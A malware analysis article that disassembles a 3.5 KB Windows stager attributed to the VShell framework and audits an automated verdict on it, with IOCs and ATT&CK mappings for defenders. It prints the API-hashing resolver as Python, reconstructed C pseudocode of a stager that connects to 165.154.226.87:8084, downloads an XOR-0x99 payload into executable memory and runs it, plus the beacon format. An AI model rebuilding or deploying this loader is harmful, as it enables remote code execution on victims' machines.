Technical article — companion to Case Study 05 — Three and a Half Kilobytes
A 3.5 KB binary was convicted at 98.4% on seven code capabilities, with both evidence panels empty. We disassembled all 471 instructions to find out whether the machine was right.
0x00401360: call ebx ; control transfers into the downloaded payload
The last meaningful instruction in the file. Everything before it exists to make this line possible, and to make it unreadable before it runs.
| Sample | vshell.exe |
|---|---|
| SHA-256 | 953a438fd6034f420b2ac591a4871b4e386aa907e2ed9ca9116aa1c37b17f513 |
| Size | 3,584 bytes (3.50 KB) |
| Automated verdict | Malicious — 98.4% |
| Audit result | 7 of 7 capabilities confirmed |
Subject under audit: the automated analysis published in Case Study 05 — Three and a Half Kilobytes, which returned Malicious, risk score 98.4%, with zero suspicious artefacts, zero behaviour indicators, seven code capabilities, and a functional classification of loader or dropper, while explicitly declining to name a malware family.
What VShell is
VShell is a command-and-control framework written in Go, published as an open-source host-management tool. Its author's repository describes it as a remote administration tool, and its feature list reads like a modern commercial C2: interactive virtual terminal, client generation directly from the server without a build environment, Windows shellcode clients, in-memory execution of plugins in several formats, and support for TCP, UDP/KCP and WebSocket transports with CDN relaying. Compared with more familiar tooling, it offers a native web-based interface, cross-platform support and fileless execution.
Since its release it has been adopted for intrusion rather than administration. Sysdig's threat research team attributed a campaign beginning in late January 2025 to the Chinese state-sponsored actor UNC5174, which had moved from the reverse-shell tool SUPERSHELL to VShell; on underground channels the framework is reportedly regarded as an improvement on Cobalt Strike. In that chain the SNOWLIGHT malware acted as a dropper for a fileless in-memory VShell payload, described as a remote access trojan widely used by Chinese-speaking operators. Reported capabilities include reverse shell access, file upload and download, process management and TCP/UDP port forwarding, with Go giving it coverage across x86, x64, ARM and ARM64. Public reporting on VShell concerns Linux and macOS intrusions almost exclusively. The sample audited here is a Windows PE32 stager for the same framework — the delivery end of the same toolchain, on a platform the literature has covered far less.
The basis for placing this particular binary within that framework is set out in section 10, after the disassembly that supports it.
1. Purpose and method
The case study makes a strong claim: that a file with an almost empty static surface was correctly convicted on code capabilities alone. This article audits that claim the hard way — by disassembling the entire code section of the binary and checking every reported capability against concrete instructions at concrete addresses.
Ground rules for the audit:
- Independence. No finding is carried over from the automated report. Every statement below was produced from the raw bytes of the sample.
- Instruction-level proof. A capability is confirmed only when the exact instructions implementing it are quoted.
- Proved versus inferred. Where the static record ends, the text says so. Interpretations are labelled as such.
- Reproducibility. Every tool invocation and script needed to repeat this analysis is included.
Tooling: pefile 2024.8.26 for header and structure parsing, capstone for x86 disassembly, Python 3 for hash reproduction and stack accounting, and strings. The entire .text section is 1,536 bytes and disassembles to 471 instructions — small enough to read exhaustively, which is exactly what was done.
2. Static triage: the shape of the file
Identification
$ file vshell.exe
PE32 executable for MS Windows 6.00 (GUI), Intel i386, 3 sections
$ sha256sum vshell.exe
953a438fd6034f420b2ac591a4871b4e386aa907e2ed9ca9116aa1c37b17f513
PE headers
| Field | Value | Decoded |
|---|---|---|
| Machine | 0x014c | Intel i386, 32-bit |
| Characteristics | 0x0102 | EXECUTABLE_IMAGE | 32BIT_MACHINE |
| TimeDateStamp | 0x653a7aca | 2023-10-26 14:42:18 UTC |
| Subsystem | 2 | Windows GUI |
| EntryPoint RVA | 0x1000 | start of .text |
| ImageBase | 0x400000 | |
| SizeOfImage | 0x4000 | |
| DllCharacteristics | 0x8540 | DYNAMIC_BASE | NX_COMPAT | NO_SEH | TERMINAL_SERVER_AWARE |
Sections
| Section | VirtualSize | RawSize | Characteristics | Entropy |
|---|---|---|---|---|
.text | 0x5ae | 0x600 | 0x60000020 — code, execute, read | 6.01 |
.rdata | 0x15a | 0x200 | 0x40000040 — initialized data, read | 2.46 |
.reloc | 0x0c | 0x200 | 0x42000040 | 0.08 |
.text entropy of 6.01 is ordinary compiler output, not a packer — packed code typically exceeds 7.2. .rdata at 2.46 is sparse data. .reloc is essentially empty, a single block, meaning the image is effectively bound to its preferred base despite advertising DYNAMIC_BASE. There is no overlay: the file ends exactly at the last section's raw end.
Data directories
| Directory | RVA | Size | Meaning |
|---|---|---|---|
| IMPORT | 0x2114 | 0x28 | exactly one descriptor, 40 bytes, plus terminator |
| BASERELOC | 0x3000 | 0x0c | one block, effectively none |
| DEBUG | 0x2008 | 0x38 | two entries: POGO, 188 bytes, and REPRO, 0 bytes |
| IAT | 0x2000 | 8 | one thunk |
No COM descriptor, so not .NET. No TLS directory, no resources, no exports, no delay imports.
The one-function import table
The complete import surface:
DLL: KERNEL32.dll
0x402000 Sleep (hint 1431)
One function. For a GUI-subsystem program that is about to open a TCP connection, download twenty-eight megabytes and execute them, the import table says this program sleeps.
String evidence: the absence is the finding
Complete strings output for the file, excluding section names and import descriptors:
!This program cannot be run in DOS mode.
RichC~:
user
32.df
ws2_
32.df
msvcP
rt.df
unMa
GCTL
Sleep
KERNEL32.dll
No URL. No IP address. No path, no registry key, no command line, no error message, no wide strings at all. The fragments user, 32.df, ws2_ and msvcP are not stored strings — they are the ASCII faces of 32-bit immediate constants inside .text, which is to say stack-string material in code form. A string-matching engine sees nothing because there is, deliberately, nothing to match.
.rdata confirms it
The full .rdata hex dump contains only the debug directory — the GCTL POGO signature and the .text$mn and .rdata$voltmd group names — the import descriptor, the IAT thunk, and the literal strings Sleep and KERNEL32.dll:
0x002058 47 43 54 4c 00 10 00 00 ae 05 00 00 2e 74 65 78 74 24 6d 6e GCTL......text$mn
...
0x002146 97 05 53 6c 65 65 70 00 4b 45 52 4e 45 4c 33 32 2e 64 6c 6c ..Sleep.KERNEL32.dll
The 97 05 prefix is the import hint for Sleep. Everything the program intends to use beyond that one function is computed at runtime.
3. Code map
The .text section contains exactly three functions and no padding bytes of interest:
| Range | Function |
|---|---|
0x401005 – 0x401368 | main — the stager logic |
0x401369 – 0x40145d | resolve — PEB walk and ROR-13 export-hashing resolver |
0x40145f – 0x4015ad | build_api_table — fills 18 stack slots with resolved function pointers |
The entrypoint itself is a two-byte jump over slack into main:
0x00401000: jmp 0x401005
4. The resolver at 0x401369
This is the function the case study's PEB access, access PEB ldr_data and resolve function by parsing PE exports capabilities describe.
PEB walk
0x0040136f: mov eax, dword ptr fs:[0x30] ; eax = PEB <-- "PEB access"
0x00401378: mov eax, dword ptr [eax + 0xc] ; eax = PEB->Ldr <-- "access PEB ldr_data"
0x0040137e: mov esi, dword ptr [eax + 0xc] ; esi = InLoadOrderModuleList.Flink
fs:[0x30] is the canonical user-mode PEB pointer on x86. Offset +0xc is PPEB_LDR_DATA Ldr; a further +0xc selects InLoadOrderModuleList, the list the loader maintains of every module mapped into the process. The loop at 0x401432–0x401436 walks Flink until the list terminates.
Module-name hash
For each module, with the LDR_DATA_TABLE_ENTRY in esi:
0x00401386: mov edx, dword ptr [esi + 0x18] ; DllBase
0x0040138e: mov ebx, dword ptr [esi + 0x2c] ; BaseDllName.Length | MaximumLength
0x0040138b: mov eax, dword ptr [esi + 0x30] ; BaseDllName.Buffer
0x004013ae: shr ebx, 0x10 ; ebx = MaximumLength (bytes, UTF-16)
; loop over MaximumLength bytes of the UTF-16 name buffer:
0x004013ba: movsx edx, byte ptr [esi + ecx] ; ch (raw byte of UTF-16LE name)
0x004013be: ror edi, 0xd ; h = ror13(h)
0x004013c1: cmp byte ptr [esi + ecx], 0x61 ; if ch >= 'a':
0x004013cc: add eax, -0x20 ; ch -= 0x20 (uppercase fold)
0x004013cf: add edi, eax ; h += ch
0x004013d9: jb 0x4013ba
Two subtleties live here, and both were verified empirically. The module name is hashed as UTF-16LE bytes, including the trailing NUL wide character, because MaximumLength rather than Length is used; and lowercase ASCII is folded to uppercase before the add, so the hash is case-insensitive on module names.
Export walk and export-name hash
For each module with a non-null export directory:
0x00401396: mov eax, dword ptr [edx + 0x3c] ; e_lfanew
0x0040139f: mov eax, dword ptr [eax + edx + 0x78] ; EXPORT directory RVA
...
0x004013e4: mov ecx, dword ptr [eax + edx + 0x18] ; NumberOfNames
0x004013ed: mov ecx, dword ptr [eax + edx + 0x20] ; AddressOfNames
; per exported name:
0x004013f9: mov esi, dword ptr [ecx] ; name RVA
; hash the ASCII name, ROR-13, NO case folding:
0x00401407: mov cl, byte ptr [esi]
0x00401409: ror edx, 0xd
0x0040140f: add edx, eax
0x00401412: test cl, cl
0x00401414: jne 0x401407 ; terminator is hashed before exit
The test cl, cl happens after the rotate-add, so the export name's terminating NUL is included in the hash. Miss that detail and no hash ever matches — it is one of two places where a sloppy reimplementation of this algorithm silently fails.
Match and resolve
0x00401422: add eax, edi ; export_hash + module_hash
0x00401424: cmp eax, dword ptr [ebp - 0x14] ; caller-supplied target constant
0x00401427: je 0x401443
; on match:
0x00401446: mov eax, dword ptr [esi + edx + 0x24] ; AddressOfNameOrdinals
0x00401451: mov eax, dword ptr [esi + edx + 0x1c] ; AddressOfFunctions
0x00401458: mov eax, dword ptr [eax + edx] ; function RVA
0x0040145b: add eax, edx ; + DllBase = VA
The combined hash — ror13_wide_folded(module) + ror13_raw(export) — is the Metasploit block_api construction. The resolver searches every loaded module for each hash, so the caller never names a DLL for the lookup itself.
Reproducing the hashes
The following Python reproduces the exact algorithm, including both subtleties.
def ror(v, r): return ((v >> r) | (v << (32 - r))) & 0xffffffff
def h_api(name): # export name: raw bytes + NUL
h = 0
for ch in name.encode() + b"\x00":
h = (ror(h, 13) + ch) & 0xffffffff
return h
def h_mod(name): # module name: UTF-16LE + NUL wchar, uppercase fold
h = 0
for ch in name.encode("utf-16le") + b"\x00\x00":
h = ror(h, 13)
if ch >= 0x61: ch -= 0x20
h = (h + ch) & 0xffffffff
return h
# target = (h_mod(dll) + h_api(export)) & 0xffffffff
Run against a candidate list of more than seventy common APIs across KERNEL32, USER32, WS2_32, MSVCRT and NTDLL, it resolves 17 of the 18 constants in the binary unambiguously. The eighteenth, 0x02c74e98, matches no common API and — critically — has no call site in main. It is a dead table entry, resolved and never used.
The complete resolved API table
build_api_table at 0x40145f fills these eighteen slots, in stack order:
| Slot | Hash | Resolved API | Used? |
|---|---|---|---|
0x00 | 0x0726774c | KERNEL32!LoadLibraryA | yes |
0x04 | 0x07568345 | USER32!MessageBoxA | no call site |
0x08 | 0x006b8029 | WS2_32!WSAStartup | yes |
0x0c | 0xe0df0fea | WS2_32!WSASocketA | yes |
0x10 | 0x6174a599 | WS2_32!connect | yes |
0x14 | 0x5f38ebc2 | WS2_32!send | yes |
0x18 | 0xe553a458 | KERNEL32!VirtualAlloc | yes |
0x1c | 0x5fc8d902 | WS2_32!recv | yes |
0x20 | 0x614d6e75 | WS2_32!closesocket | yes |
0x24 | 0x803428a9 | WS2_32!gethostbyname | yes |
0x28 | 0x4d7b1e12 | WS2_32!inet_addr | yes |
0x2c | 0xff13dad9 | MSVCRT!strlen | yes |
0x30 | 0xed6bdd99 | MSVCRT!strcpy | yes |
0x34 | 0xed43d9d9 | MSVCRT!strcat | yes |
0x38 | 0xd0eb608d | USER32!wsprintfA | yes |
0x3c | 0x02c74e98 | unresolved — no call site | dead entry |
0x40 | 0x70f2fa31 | MSVCRT!_access | yes |
0x44 | 0xe449f330 | KERNEL32!GetTempPathA | yes (0x40/0x44 duplicated) |
Read as a set, this is a networking stager's shopping list: string formatting and copying, a file-existence probe, a temp-path query, the complete BSD-socket lifecycle from WSAStartup through WSASocketA, connect, send, recv and closesocket, name resolution, and executable-memory allocation.
Read as a complement, the table is just as informative. There is no CreateFile or WriteFile, no registry API, no CreateProcess or CreateThread, no service API, no crypto API. This binary cannot drop a file, cannot persist itself, and cannot spawn a process. Whatever it fetches, it fetches to run.
MessageBoxA and the unresolved slot are template residue: the builder resolves a fixed table whether or not main uses every entry.
5. The table builder at 0x40145f
Before any resolution can happen for ws2_32 and msvcrt, those libraries must be in the module list. They are loaded through the freshly resolved LoadLibraryA, with the DLL names built on the stack — the first concrete instance of the obfuscated stackstrings capability:
0x00401478: mov dword ptr [ebp - 0xc], 0x72657375 ; "user"
0x0040147f: mov dword ptr [ebp - 8], 0x642e3233 ; "32.d"
0x00401486: mov word ptr [ebp - 4], 0x6c6c ; "ll"
0x0040148c: mov byte ptr [ebp - 2], 0
0x00401490: call eax ; LoadLibraryA("user32.dll")
Identical constructs follow for "ws2_32.dll" at 0x4014a3–0x4014b7 and "msvcrt.dll" at 0x4014c0–0x4014d5. These are the byte sequences that produced the user, ws2_ and msvcP fragments in the strings output — visible as data only because ASCII immediates happen to be printable.
6. main, instruction by instruction
main begins conventionally:
0x00401005: push ebp
0x00401006: mov ebp, esp
0x00401008: and esp, 0xfffffff8
0x0040100b: sub esp, 0x364
Its first act is to call the table builder with ecx = esp+0x98. Every subsequent API call goes through a table slot, as call dword ptr [esp+X], or through a register. Each call site below was mapped to its slot by simulating the stack pointer through the function, accounting for cdecl caller-cleanup and stdcall callee-cleanup per API.
Step 1 — Run-once marker in %TEMP%
0x0040102d: call [slot 0x44] ; GetTempPathA(0x80, buf)
A wsprintfA chain then builds a filename from the pieces "log", "log_" and "de." against the temp path, and:
0x0040109e: call [slot 0x40] ; _access(path, 0) -- existence test
0x004010a8: test eax, eax
0x004010aa: je 0x401362 ; file EXISTS -> exit immediately
_access(path, 0) returns 0 when the path exists. The stager aborts if a file named log_de… already exists in the user's temp directory — but no code in this binary ever creates it. The marker is written by the second stage. This is a run-once latch: the stager fires only on a not-yet-compromised host.
Step 2 — C2 address assembled on the stack
The dotted quad never exists in the file. It is manufactured from four immediate stores:
0x004010d9: mov dword ptr [esp + 0x20], 0x2e353631 ; "165."
0x004010f2: mov dword ptr [esp + 0x30], 0x2e343531 ; "154."
0x004010ff: mov dword ptr [esp + 0x3c], 0x2e363232 ; "226."
0x0040110b: mov dword ptr [esp + 0x44], 0x3738 ; "87"
These are joined by three wsprintfA("%s%s", …) calls, the format strings likewise stack-built, into 165.154.226.87. A second fixed-width string, "w32 ", is composed nearby — the client OS/arch tag, which becomes the first field of the beacon (Step 4). The port is poked directly into the socket address structure:
0x004011f0: mov eax, 0x941f
0x004011f5: mov word ptr [esp + 0x88], si ; sin_family = 2 (AF_INET)
0x004011fd: mov word ptr [esp + 0x8a], ax ; sin_port = 1f 94 -> 0x1f94 = 8084
Step 3 — Winsock up, socket, resolve, connect forever
0x004011c4: call [slot 0x08] ; WSAStartup(0x202, &wsa) -- version 2.2
0x004011cb: test eax, eax
0x004011cd: jne 0x401362 ; failure -> exit
0x004011df: call [slot 0x0c] ; WSASocketA(2, 1, 6, 0, 0, 1)
Hostname resolution tries DNS first and falls back to a literal:
0x0040120d: call [slot 0x24] ; gethostbyname(str)
0x00401214: test eax, eax
0x00401216: jne 0x401229 ; non-null hostent -> **h_addr_list
0x00401220: call [slot 0x28] ; else inet_addr(str)
Then the connect loop — the only place the single declared import is used:
0x00401244: push 0x10
0x0040124f: call [slot 0x10] ; connect(sock, &sa, 16)
0x00401256: test eax, eax
0x00401258: jne 0x401239 ; failed ->
0x00401239: push 0x2710 ; 10,000 ms
0x0040123e: call dword ptr [0x402000] ; KERNEL32!Sleep -- the one IAT import
0x00401244: ... ; retry, forever
This is the delay execution capability. Its primary purpose is reconnect backoff — the sleep executes only on the failure path — although it has the side effect of outliving short sandbox timeouts whenever the C2 is unreachable. The automated note's reading is plausible; the disassembly supports a more specific primary intent.
Step 4 — Beacon
Ten send(sock, buf, len, 0) calls, with no interleaved logic, putting exactly 40 bytes on the wire before any recv:
| Offset | Len | Hex (this sample) | Field |
|---|---|---|---|
0x00 | 6 | 77 33 32 20 20 20 | client OS/arch tag, fixed width — "w32 " (Windows 32-bit) |
0x06 | 2 | 1f 94 | listener port, big-endian — the sin_port bytes, 8084 |
0x08 | 4 | 31 36 35 2e | C2 IPv4 octet 1: "165." |
0x0c | 4 | 31 35 34 2e | octet 2: "154." |
0x10 | 4 | 32 32 36 2e | octet 3: "226." |
0x14 | 4 | 38 37 00 00 | octet 4: "87", NUL-padded |
0x18 | 16 | 00 × 16 | unused template fields, zeroed |
The full wire image for this sample:
773332202020 1f94 3136352e 3135342e 3232362e 38370000 00000000000000000000000000000000
The beacon is the implant reporting its own listener configuration. The platform tag comes from a small enum — this Windows sample sends w32, the documented Linux WebSocket variant uses l64 — and the port and IP are reused straight from the sockaddr_in and the dotted-string fragments: the stager literally tells the server the address it dialled. The values are informational, not secrets, and the server does not depend on them — modified parameters still receive the stage. Forty bytes of beacon, then the socket falls silent and waits.
Step 5 — Allocate 28.5 MB of RWX memory
0x004012e8: push 0x40 ; PAGE_EXECUTE_READWRITE
0x004012ea: push 0x1000 ; MEM_COMMIT
0x004012ef: push 0x1c9c380 ; 29,860,736 bytes (~28.5 MB)
0x004012f4: push ebx ; lpAddress = NULL
0x004012f5: call [slot 0x18] ; VirtualAlloc
0x004012fc: mov ebx, eax
0x004012fe: test ebx, ebx
0x00401300: je 0x401362 ; allocation failed -> exit
PAGE_EXECUTE_READWRITE is the single most incriminating constant in the file. No compiler emits it for ordinary data, and its only consumer here is memory that network input is about to land in. The fixed size tells us the operator knows the payload's footprint: this stager is built for one specific second stage, not for general use.
Step 6 — Download, XOR-decode, execute
0x00401302: and dword ptr [esp + 0x84], 0 ; off = 0
; loop:
0x00401313: call [slot 0x1c] ; recv(sock, buf+off, 0x64000, 0)
0x0040131a: cmp eax, 1
0x0040131d: jl 0x401358 ; recv < 1 -> done
0x0040131f: mov esi, ebx
0x00401327: xor byte ptr [esi], 0x99 ; <-- single-byte XOR key 0x99
0x0040132a: inc esi
0x0040132b: sub ecx, 1
0x0040132e: jne 0x401327 ; decode whole chunk in place
0x00401330: ... ; off += n; recv next chunk; loop
Each received chunk, up to 409,600 bytes, is decoded in place one byte at a time against the constant 0x99. The download ends when the server closes or errors, not at a known size — the 28.5 MB allocation is the only bound.
The response carries no length prefix and no framing: the server streams the stage-2 payload until close, every byte XOR'd with 0x99. That makes the first bytes on the wire a reliable confirmation signal — a Windows stage begins D4 C3 (MZ ⊕ 0x99), a Linux stage A6 C4 E5 C7 (\x7fELF ⊕ 0x99).
0x00401358: push edi
0x00401359: call [slot 0x20] ; closesocket
0x00401360: call ebx ; *** control transfers into the downloaded payload ***
call ebx jumps into the RWX buffer. The execution transfer is proved, not inferred — it is the last meaningful instruction in the file, and it is why the file needs no CreateThread, no process hollowing and no reflective loader stub. The payload runs because the stager simply calls it.
7. Reconstructed behaviour
The whole sample, in C-like pseudocode:
void main(void) {
FARPROC api[18];
build_api_table(api); // PEB walk + ROR-13 hashing
char tmp[128], path[256], ip[64], idstr[64];
GetTempPathA(0x80, tmp);
wsprintfA(path, "%s%s", tmp, "log_de…"); // marker path
if (_access(path, 0) == 0) // exists?
return; // -> already done; exit
wsprintfA(ip, "%s%s", "165.", "154."); // octets never stored whole
wsprintfA(ip, "%s%s", ip, "226.");
wsprintfA(ip, "%s%s", ip, "87"); // -> "165.154.226.87"
WSADATA wsa;
if (WSAStartup(0x202, &wsa)) return;
SOCKET s = WSASocketA(2, 1, 6, 0, 0, 1); // AF_INET, SOCK_STREAM, TCP
if (!s) return;
sockaddr_in sa = { .sin_family = AF_INET, .sin_port = /* 8084 */ };
struct hostent *h = gethostbyname(ip);
sa.sin_addr = h ? *(struct in_addr *)*h->h_addr_list
: *(struct in_addr *)&(DWORD){inet_addr(ip)};
while (connect(s, &sa, sizeof sa) != 0) // retry forever
Sleep(10000);
send(s, id6, 6, 0); // beacon: ~40 bytes
send(s, portbytes, 2, 0);
for (int i = 0; i < 8; i++) send(s, field[i], 4, 0);
BYTE *buf = VirtualAlloc(0, 0x1c9c380, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!buf) return;
int off = 0, n;
while ((n = recv(s, buf + off, 0x64000, 0)) >= 1) {
for (int i = 0; i < n; i++) buf[off + i] ^= 0x99;
off += n;
}
closesocket(s);
((void (*)(void))buf)(); // execute stage 2 in memory
}
8. Verifying the automated report, claim by claim
| Automated finding | Manual evidence | Result |
|---|---|---|
| contain obfuscated stackstrings (basic block ×3) | Immediate-built strings: DLL names at 0x401478, 0x4014a3, 0x4014c0; "%s%s" formats at 0x401047 and 0x401147; IP octets at 0x4010d9–0x40110b; "log_" and "de." at 0x401063 and 0x401076 | Confirmed |
| delay execution (basic block ×2) | push 0x2710 and call [0x402000] at 0x401239 and 0x40123e | Confirmed, with a refinement: the sleep is on the connect-failure path; the anti-sandbox reading is a side effect, not the primary purpose |
| encode data using XOR (basic block ×1) | xor byte ptr [esi], 0x99 at 0x401327 | Confirmed — key 0x99 |
| PEB access (basic block ×3) | mov eax, fs:[0x30] at 0x40136f | Confirmed |
| access PEB ldr_data (basic block ×3) | [eax+0xc] to Ldr, then to InLoadOrderModuleList, at 0x401378 and 0x40137e | Confirmed |
| resolve function by parsing PE exports (function ×3) | e_lfanew read at 0x401396; export directory at 0x40139f; names walk at 0x4013e4–0x401430; ordinal and function resolution at 0x401443–0x40145b | Confirmed |
| contain loop (function ×3) | Module walk 0x401432; name hash 0x4013ba; export scan 0x40142c; connect retry 0x401244→0x401239; recv 0x40131a–0x401356; XOR 0x401327–0x40132e | Confirmed |
| Zero suspicious artefacts, zero behaviour indicators | The file contains no matchable signatures and no readable API names; the strings evidence above shows why | Confirmed — the empty panels are accurate |
| Functional call: loader or dropper | The file's sole purpose is to fetch a stage-2 payload and execute it; it cannot itself drop or persist anything | Confirmed — specifically a network stager |
| Stated limit: family not determinable | The socket, C2 and payload are all structurally concealed until the resolver and stack strings are followed; nothing statically visible distinguishes the eventual payload family | Confirmed — the boundary is drawn where the evidence ends |
Seven capabilities reported; seven capabilities present at quotable addresses. Nothing reported that is absent; nothing statically visible that was missed.
9. What the manual audit adds
The automated report deliberately stopped at mechanism. For the responder, the audit adds:
- Concrete indicators. C2
165.154.226.87:8084over TCP, XOR key0x99, run-once marker%TEMP%\log_de…, expected payload footprint around 28.5 MB. - The beacon, fully decoded. The 40-byte beacon echoes the implant's platform tag, port and C2 address and is informational only — the server delivers the stage even when the parameters are modified. The response stream has no framing, so a probe can confirm a live server from the first wire bytes:
D4 C3for a Windows stage,A6 C4 E5 C7for Linux. - The marker logic. The stager exits if the marker exists, so the presence of
%TEMP%\log_de…means stage two already ran — a high-value forensic artefact, since the stager itself never touches disk. - Template residue.
MessageBoxAresolved but never called, one unresolved dead hash, andGetTempPathAduplicated into two slots — fingerprints of the builder kit, useful for clustering sibling samples. - Capture guidance. Any intercepted second stage can be decoded offline with a single-byte XOR of
0x99.
10. Attributing the binary to VShell
Nothing in the file names the framework it belongs to. There is no protocol string, no user agent, no version banner — the only literal text in the whole binary is Sleep and KERNEL32.dll. Attribution therefore has to be argued from structure and from correspondence with published analysis of the same toolchain on other platforms.
Four correspondences support it.
The XOR key. Trellix's analysis of a Linux VShell delivery chain describes a stage that connects to a hardcoded C2, retrieves an XOR-encrypted payload, decrypts it in memory using key 0x99, and executes it. This binary decrypts its downloaded payload with a single-byte XOR against 0x99 at 0x401327. Taken alone this is weak — a single byte has 256 possible values and 0x99 is not rare — but it is the same constant in the same role.
The marker-file latch. PolySwarm's write-up of the Linux variant notes an anti-reinfection mechanism that checks for a marker file to prevent multiple instances running. This binary performs exactly that check at 0x40109e, via _access(path, 0) against a %TEMP%\log_de… path, and exits when the file is present. Crucially, the stager never creates the marker itself, which means the mechanism only makes sense as part of a two-stage design where the payload writes it — precisely the arrangement the Linux reporting describes.
The delivery model. VShell is documented as a fileless, in-memory payload delivered to an already-compromised host, with clients generated by the C2 server according to the target system. That is what this file is built for: it allocates RWX memory, streams a payload into it over a raw socket, and transfers control with call ebx. It cannot write a file, cannot persist, and cannot spawn a process — the complement of its API table rules out every alternative delivery model.
The payload footprint. The stager pre-allocates 29,860,736 bytes — about 28.5 MB — for the second stage. That is enormous for shellcode and unremarkable for a statically linked Go binary, which is what VShell clients are. The allocation is a fixed constant, so the operator knew the size in advance. This is an inference from the size, not a proof, but it fits a Go-built client and fits little else.
What the attribution does and does not claim
Taken together these place the sample within the VShell toolchain: the same payload encoding, the same run-once mechanism, the same in-memory delivery model, and a payload footprint consistent with a Go client. Public reporting on VShell concerns Linux and macOS intrusions almost exclusively; this is the Windows PE32 stager for the same framework, which is why the correspondences come from cross-platform analysis rather than from prior Windows reporting.
Two limits are worth stating plainly. The resolver is the Metasploit block_api construction, which is generic and shared across a great deal of tooling — it is evidence of tradecraft, not of family, and carries no attribution weight on its own. And this is attribution to a framework, not to an operator. VShell is open-source and has been used by more than one group; identifying the tool says nothing about who deployed it. DEKENEAS performs no actor attribution, and none is offered here.
This also sits outside the automated verdict. The engine classified the file as a loader or dropper from structure and declined to name a family, which was the correct call on the evidence available to it. The attribution above rests on external reporting the engine does not consume.
11. Indicators of compromise
| Type | Value |
|---|---|
| SHA-256 | 953a438fd6034f420b2ac591a4871b4e386aa907e2ed9ca9116aa1c37b17f513 |
| C2 | 165.154.226.87:8084 — TCP, raw socket |
| Marker file | %TEMP%\log_de… — exact suffix built at runtime |
| Payload encoding | single-byte XOR, key 0x99 |
| Payload size | 29,860,736 bytes allocated (0x1c9c380) |
| Memory artefact | ~28.5 MB PAGE_EXECUTE_READWRITE region in the process |
| Beacon | 40 bytes in 10 send()s — OS/arch tag (w32), listener port, C2 address echoed, 16 zeroed template bytes; informational only |
| Wire signature | stage-2 stream XOR 0x99 throughout; starts D4 C3 (Windows) or A6 C4 E5 C7 (Linux) |
12. MITRE ATT&CK mapping
| Technique | ID | Evidence |
|---|---|---|
| Obfuscated Files or Information | T1027 | API hashing, stack strings, split C2 octets |
| Deobfuscate/Decode Files or Information | T1140 | XOR 0x99 payload decode |
| Reflective Code Loading | T1620 | call ebx into received RWX buffer |
| Native API | T1106 | PEB walk replacing the import table |
| Ingress Tool Transfer | T1105 | stage-2 download over raw TCP |
| Non-Application Layer Protocol | T1095 | raw TCP C2 with custom beacon |
13. Conclusion
Every checkable claim in the automated analysis survives instruction-level audit. The verdict is correct. All seven reported capabilities resolve to concrete instructions at the addresses quoted above. The functional classification, loader or dropper, is correct and appropriately conservative — the file is, precisely, a network stager. And the declared confidence boundary, that the family is not determinable, sits exactly where the static evidence ends, because the network behaviour is structurally concealed behind runtime API resolution and stack-built strings until the code runs.
The audit also produced the two refinements any honest verification should surface. First, delay execution is primarily reconnect backoff; the anti-analysis reading is a side effect. Second, the API table carries builder-kit residue — an unused MessageBoxA, one dead hash, a duplicated slot — that the capability view does not mention. Neither weakens the verdict; both sharpen it, and both were found only because the file was actually read.
The emptiness of this file's static surface was the evidence. The machine read it correctly.
Analysis performed with pefile 2024.8.26, capstone and Python 3. The sample hash is public and all findings are reproducible from the bytes.
DEKENEAS performs no actor attribution. Automated verdicts are computed from file structure and code capability: no signature set, no malware family database, and no reputation service in the verdict path.